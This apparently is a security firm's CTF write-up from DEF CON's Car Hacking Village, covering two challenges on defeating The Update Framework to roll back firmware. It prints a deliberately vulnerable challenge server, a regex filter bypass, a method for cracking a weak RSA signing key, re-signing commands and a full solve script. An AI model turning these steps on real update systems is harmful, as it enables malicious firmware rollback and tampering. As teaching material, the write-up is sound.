Red Balloon Security recently returned from the DEF CON hacking conference in Las Vegas, where, among other activities, we brought two computer security challenges to the Car Hacking Village (CHV) Capture The Flag (CTF) competition. The grand prize for the competition was a 2021 Tesla, and second place was several thousand dollars of NXP development kits, so we wanted to make sure our challenge problems were appropriately difficult. This competition was also a “black badge CTF” at DEF CON, which means the winners are granted free entrance to DEF CON for life.
The goal of our challenges was to force competitors to learn about secure software updates and The Update Framework (TUF), which is commonly used for securing software updates. We originally wanted to build challenge problems around defeating Uptane, an automotive-specific variant of TUF, however, there is no well-supported, public version of Uptane that we could get working, so we built the challenges around Uptane’s more general ancestor TUF instead. Unlike Uptane, TUF is well-supported with several up-to-date, maintained, open source implementations.
Our two CTF challenges were designed to be solved in order โ the first challenge had to be completed to begin the second. Both involved circumventing the guarantees of TUF to perform a software rollback.
Besides forcing competitors to learn the ins and outs of TUF, the challenges were designed to impress upon them that software update frameworks like TUF are only secure if they are used properly, and if they are used with secure cryptographic keys. If either of these assumptions is violated, the security of software updates can be compromised.
Both challenges ran on a Rivain Telematics Control Module (TCM) at DEF CON.
Challenge participants were given the following information:
nc 172.28.2.64 8002
In addition to the description above, participants were given a tarball with the source of the software update script using the python-tuf
library, and the TUF repository with the signed metadata and update files served over HTTP to the challenge server, which acts as a TUF client.
The run.sh
script to start up the TUF server and challenge server:
#!/bin/sh
set -euxm
# tuf and cryptography dependencies installed in virtual environment
source ~/venv/bin/activate
(python3 -m http.server --bind 0 --directory repository/ 38001 2>&1) | tee /tmp/web_server.log &
while sleep 3; do
python3 challenge_server.py --tuf-server http://localhost:38001 --server-port 38002 || fg
done
The main challenge_server.py
:
#!/usr/bin/env -S python3 -u
"""
Adapted from:
https://github.com/theupdateframework/python-tuf/tree/f8deca31ccea22c30060f259cb7ef2588b9c6baa/examples/client
"""
import argparse
import inspect
import json
import os
import re
import socketserver
import sys
from urllib import request
from tuf.ngclient import Updater
def parse_args():
parser = argparse.ArgumentParser()
for parameter in inspect.signature(main).parameters.values():
if parameter.name.startswith("_"):
continue
if "KEYWORD" in parameter.kind.name:
parser.add_argument(
"--" + parameter.name.replace("_", "-"),
default=parameter.default,
)
return parser.parse_args()
def semver(s):
return tuple(s.lstrip("v").split("."))
def name_matches(name, f):
return re.match(name, f)
def readline():
result = []
c = sys.stdin.read(1)
while c != "\n":
result.append(c)
c = sys.stdin.read(1)
result.append(c)
return "".join(result)
class Handler(socketserver.BaseRequestHandler):
def __init__(self, *args, tuf_server=None, updater=None, **kwargs):
self.tuf_server = tuf_server
self.updater = updater
super().__init__(*args, **kwargs)
def handle(self):
self.request.settimeout(10)
os.dup2(self.request.fileno(), sys.stdin.fileno())
os.dup2(self.request.fileno(), sys.stdout.fileno())
print("Welcome to the firmware update admin console!")
print("What type of firmware would you like to download from the TUF server?")
print(
"Whichever type you pick, we will pull the latest version from the server."
)
print("Types:")
with request.urlopen(f"{self.tuf_server}/targets.json") as response:
targets = json.load(response)
all_target_files = list(targets["signed"]["targets"].keys())
print("-", "\n- ".join({file.split("_")[0] for file in all_target_files}))
print("Enter type name: ")
name = readline().strip()
if "." in name:
# People were trying to bypass our version check with regex tricks! Not allowed!
print("Not allowed!")
return
filenames = list(
sorted(
[f for f in all_target_files if name_matches(name, f)],
key=lambda s: semver(s),
)
)
if len(filenames) == 0:
print("Sorry, file not found!")
return
filename = filenames[-1]
print(f"Downloading {filename}")
info = self.updater.get_targetinfo(filename)
if info is None:
print("Sorry, file not found!")
return
with open("/dev/urandom", "rb") as f:
name = f.read(8).hex()
path = self.updater.download_target(
info,
filepath=f"/tmp/{name}.{os.path.basename(info.path)}",
)
os.chmod(path, 0o755)
print(f"Running {filename}")
child = os.fork()
if child == 0:
os.execl(path, path)
else:
os.wait()
os.remove(path)
def main(tuf_server="http://localhost:8001", server_port="8002", **_):
repo_metadata_dir = "/tmp/tuf_server_metadata"
if not os.path.isdir(repo_metadata_dir):
if os.path.exists(repo_metadata_dir):
raise RuntimeError(
f"{repo_metadata_dir} already exists and is not a directory"
)
os.mkdir(repo_metadata_dir)
with request.urlopen(f"{tuf_server}/root.json") as response:
root = json.load(response)
with open(f"{repo_metadata_dir}/root.json", "w") as f:
json.dump(root, f, indent=2)
updater = Updater(
metadata_dir=repo_metadata_dir,
metadata_base_url=tuf_server + "/metadata/",
target_base_url=tuf_server + "/targets/",
)
updater.refresh()
def return_handler(*args, **kwargs):
return Handler(*args, **kwargs, tuf_server=tuf_server, updater=updater)
print("Running server")
with socketserver.ForkingTCPServer(
("0", int(server_port)), return_handler
) as server:
server.serve_forever()
if __name__ == "__main__":
main(**parse_args().__dict__)
Also included were TUF-tracked files tcmupdate_v0.{2,3,4}.0.py
.
The challenge server waits for TCP connections. When one is made, it prompts for a software file to download. Then it checks the TUF server for all versions of that file (using the user input in a regular expression match), and picks the latest based on parsing its version string (for example filename_v0.3.0.py
parses to (0, 3, 0)
). Once it has found the latest file, it downloads it using the TUF client functionality from the TUF library.
The goal of this challenge is to roll back from version 0.4.0 to version 0.3.0. The key to solving this challenge is to notice the following code:
# ...
def semver(s):
return tuple(s.lstrip("v").split("."))
def name_matches(name, f):
return re.match(name, f)
def handle_tcp():
# ...
name = readline().strip()
if "." in name:
# People were trying to bypass our version check with regex tricks! Not allowed!
print("Not allowed!")
return
filenames = list(
sorted(
[f for f in all_target_files if name_matches(name, f)],
key=lambda s: semver(s),
)
)
if len(filenames) == 0:
print("Sorry, file not found!")
return
filename = filenames[-1]
# ...
This code firsts filters using the regular expression, then sorts based on the version string to find the latest matching file. Notably, the name
input is used directly as a regular expression.
To circumvent the logic for only downloading the latest version of a file, we can pass an input regular expression that filters out everything except for the version we want to run. Our first instinct might be to use a regular expression like the following:
tcmupdate.*0\.3\.0.*
If we try that, however, we hit the case where any input including a .
character is blocked. We now need to rewrite the regular expression to match only tcmupdate_v0.3.0
, but without including the .
character. One of many possible solutions is:
tcmupdate_v0[^a]3[^a]0
Since the .
literal is a character that is not a
, the [^a]
expression will match it successfully without including it directly. This input gives us the flag.
flag{It_T4ke$-More-Than_just_TUF_for_secure_updates!}
Challenge participants were given the following information:
nc 172.28.2.64 8002
Challenge 2 can only be attempted once challenge 1 has been completed. When challenge 1 is completed, it runs tcmupdate_v0.3.0.py
on the target TCM. This prompts the user for a new TUF server address to download files from, and a new filename to download and run. The caveat is that the metadata from the original TUF server is already trusted locally, so attempts to download from a TUF server with new keys will be rejected.
In the challenge files repository/targets
subdirectory, there are two versions of tcmupdate_v0.2.0.py
. One of them is tracked by TUF, the other is no longer tracked by TUF. The goal is to roll back to the old version of tcmupdate_v0.2.0.py
that has been overwritten and is no longer a possible target to download with the TUF downloader.
The challenge files look like this:
ctf/
โโโ challenge_server.py
โโโ flag_1.txt
โโโ flag_2.txt
โโโ repository
โย ย โโโ 1.root.json
โย ย โโโ 1.snapshot.json
โย ย โโโ 1.targets.json
โย ย โโโ 2.snapshot.json
โย ย โโโ 2.targets.json
โย ย โโโ metadata -> .
โย ย โโโ root.json
โย ย โโโ snapshot.json
โย ย โโโ targets
โย ย โย ย โโโ 870cba60f57b8cbee2647241760d9a89f3c91dba2664467694d7f7e4e6ffaca588f8453302f196228b426df44c01524d5c5adeb2f82c37f51bb8c38e9b0cc900.tcmupdate_v0.2.0.py
โย ย โย ย โโโ 9bbef34716da8edb86011be43aa1d6ca9f9ed519442c617d88a290c1ef8d11156804dcd3e3f26c81e4c14891e1230eb505831603b75e7c43e6071e2f07de6d1a.tcmupdate_v0.2.0.py
โย ย โย ย โโโ 481997bcdcdf22586bc4512ccf78954066c4ede565b886d9a63c2c66e2873c84640689612b71c32188149b5d6495bcecbf7f0d726f5234e67e8834bb5b330872.tcmupdate_v0.3.0.py
โย ย โย ย โโโ bc7e3e0a6ec78a2e70e70f87fbecf8a2ee4b484ce2190535c045aea48099ba218e5a968fb11b43b9fcc51de5955565a06fd043a83069e6b8f9a66654afe6ea57.tcmupdate_v0.4.0.py
โย ย โโโ targets.json
โย ย โโโ timestamp.json
โโโ requirements.txt
โโโ run.sh
The latest version of the TUF targets.json
file is only tracking the 9bbef3...
hash version of the tcmupdate_v0.2.0.py
file.
{
"signed": {
"_type": "targets",
"spec_version": "1.0",
"version": 2,
"expires": "2024-10-16T21:11:07Z",
"targets": {
"tcmupdate_v0.2.0.py": {
"length": 54,
"hashes": {
"sha512": "9bbef34716da8edb86011be43aa1d6ca9f9ed519442c617d88a290c1ef8d11156804dcd3e3f26c81e4c14891e1230eb505831603b75e7c43e6071e2f07de6d1a"
}
},
"tcmupdate_v0.3.0.py": {
"length": 1791,
"hashes": {
"sha512": "481997bcdcdf22586bc4512ccf78954066c4ede565b886d9a63c2c66e2873c84640689612b71c32188149b5d6495bcecbf7f0d726f5234e67e8834bb5b330872"
}
},
"tcmupdate_v0.4.0.py": {
"length": 125,
"hashes": {
"sha512": "bc7e3e0a6ec78a2e70e70f87fbecf8a2ee4b484ce2190535c045aea48099ba218e5a968fb11b43b9fcc51de5955565a06fd043a83069e6b8f9a66654afe6ea57"
}
}
}
},
"signatures": [
{
"keyid": "f1f66ca394996ea67ac7855f484d9871c8fd74e687ebab826dbaedf3b9296d14",
"sig": "1bc2be449622a4c2b06a3c6ebe863fad8d868daf78c1e2c2922a2fe679a529a7db9a0888cd98821a66399fd36a4d5803d34c49d61b21832ff28895931539c1cca118b299c995bcd1f7b638803da481cf253e88f4e80d62e7abcc39cc92899cc540be901033793fae9253f41008bc05f70d93ef569c0d6c09644cd7dfb758c2b71e2332de7286d15cc894a51b6a6363dcde5624c68506ea54a426f7ae9055f01760c6d53f4f4f68589d89f31a01e08d45880bc28a279f8621d97ab7223c4d41ecb077176af5dd27d5c07379d99898020b23cd733e"
}
]
}
Thus, in order to convince the TUF client to download the old version of tcmupdate_v0.2.0.py
from a TUF file server we control, we will need to insert the correct hash into targets.json
. But if we do that, we will need to resign targets.json
, then rebuild and resign snapshot.json
, then rebuild and resign timestamp.json
. None of these things can be accomplished without the private signing key. This means that we need to crack the signing keys in order to rebuild updated TUF metadata. Luckily, inspecting the root.json
file to learn about the keys indicates that the targets
, snapshot
, and timestamp
roles all use the same RSA public-private keypair.
The key for this keypair is generated using weak RSA primes that are close to one another. This makes the key vulnerable to a Fermat factoring attack. The attack can either be performed manually using this technique, or can be performed automatically by a tool like RsaCtfTool.
After the key is cracked, we have to rebuild and resign all of the TUF metadata in sequence. This is most easily done using the go-tuf
CLI from version v0.7.0
of the go-tuf
library.
go install github.com/theupdateframework/go-tuf/cmd/[email protected]
This CLI expects the keys to be in JSON format and stored in the keys
subdirectory (sibling directory of the repository
directory). A quick Python script will convert our public and private keys in PEM format into the expected JSON.
import base64
import json
import os
import sys
from nacl.secret import SecretBox
from cryptography.hazmat.primitives.kdf.scrypt import Scrypt
if len(sys.argv) ")
with open(sys.argv[1], "r") as f:
private = f.read()
with open(sys.argv[2], "r") as f:
public = f.read()
plaintext = json.dumps(
[
{
"keytype": "rsa",
"scheme": "rsassa-pss-sha256",
"keyid_hash_algorithms": ["sha256", "sha512"],
"keyval": {
"private": private,
"public": public,
},
},
]
).encode()
with open("/dev/urandom", "rb") as f:
salt = f.read(32)
nonce = f.read(24)
n = 65536
r = 8
p = 1
kdf = Scrypt(
length=32,
salt=salt,
n=n,
r=r,
p=p,
)
secret_key = kdf.derive(b"redballoon")
box = SecretBox(secret_key)
ciphertext = box.encrypt(plaintext, nonce).ciphertext
print(
json.dumps(
{
"encrypted": True,
"data": {
"kdf": {
"name": "scrypt",
"params": {
"N": n,
"r": r,
"p": p,
},
"salt": base64.b64encode(salt).decode(),
},
"cipher": {
"name": "nacl/secretbox",
"nonce": base64.b64encode(nonce).decode(),
},
"ciphertext": base64.b64encode(ciphertext).decode(),
},
},
indent=2,
)
)
Once we have converted all of the keys to the right format, we can run a sequence of TUF CLI commands to rebuild the metadata correctly with the cracked keys.
mkdir -p staged/targets
cp repository/targets/870cba60f57b8cbee2647241760d9a89f3c91dba2664467694d7f7e4e6ffaca588f8453302f196228b426df44c01524d5c5adeb2f82c37f51bb8c38e9b0cc900.tcmupdate_v0.2.0.py staged/targets/tcmupdate_v0.2.0.py
tuf add tcmupdate_v0.2.0.py
tuf snapshot
tuf timestamp
tuf commit
Then we run our own TUF HTTP fileserver, and point the challenge server at it to get the flag.
flag{Th15_challenge-Left_me-WE4k_in-the_$$KEYS$$}
The final solve script might look something like this:
#!/bin/bash
set -meuxo pipefail
tar -xvzf rbs-chv-ctf-2024.tar.gz
cd ctf
cat repository/root.json \
| jq \
| grep -i 'public key' \
| sed 's/[^-]*\(-*BEGIN PUBLIC KEY-*.*-*END PUBLIC KEY-*\).*/\1/g' \
| sed 's/\\n/\n/g' \
> public.pem
python3 ~/Downloads/RsaCtfTool/RsaCtfTool.py --publickey public.pem --private --output private.pem
mkdir -p keys
python3 encode_key_json.py private.pem public.pem > keys/snapshot.json
cp keys/snapshot.json keys/targets.json
cp keys/snapshot.json keys/timestamp.json
mkdir -p staged/targets
cp repository/targets/870cba60f57b8cbee2647241760d9a89f3c91dba2664467694d7f7e4e6ffaca588f8453302f196228b426df44c01524d5c5adeb2f82c37f51bb8c38e9b0cc900.tcmupdate_v0.2.0.py staged/targets/tcmupdate_v0.2.0.py
tuf add tcmupdate_v0.2.0.py
tuf snapshot
tuf timestamp
tuf commit
python3 -m http.server --bind 0 --directory repository/ 8003 &
sleep 3
(
echo 'tcmupdate_v0[^a]3'
sleep 3
echo 'http://172.28.2.169:8003'
echo 'tcmupdate_v0.2.0.py'
) | nc 172.28.2.64 38002
kill %1
In addition to the CTF we brought to the DEF CON Car Hacking Village, we also set up a demonstration of our Symbiote host-based defense technology running on Rivian TCMs. These CTF challenges connect to that demo because the firmware rollbacks caused by exploiting the vulnerable CTF challenge application would (in a TCM protected by Symbiote) trigger alerts, and/or be blocked, depending on the customer’s desired configuration.
To reiterate, we hope that CTF participants enjoyed our challenges, and took away a few lessons:
Sal Stolfo was an original founding member of Red Balloon Security, Inc.
ยฉ 2022 Red Balloon Security.
All Rights Reserved.
ยฉ 2022 Red Balloon Security. All Rights Reserved.
Contact us now to discover more about Red Balloon Security’s range of solutions and services or to arrange a demonstration.
Reach out to learn more about our embedded security offering and to schedule a demo.
Reach out to learn more about our embedded security offering and to schedule a demo.
Reach out to learn more about our embedded security offering and to schedule a demo.
Reach out to learn more about our embedded security offering and to schedule a demo.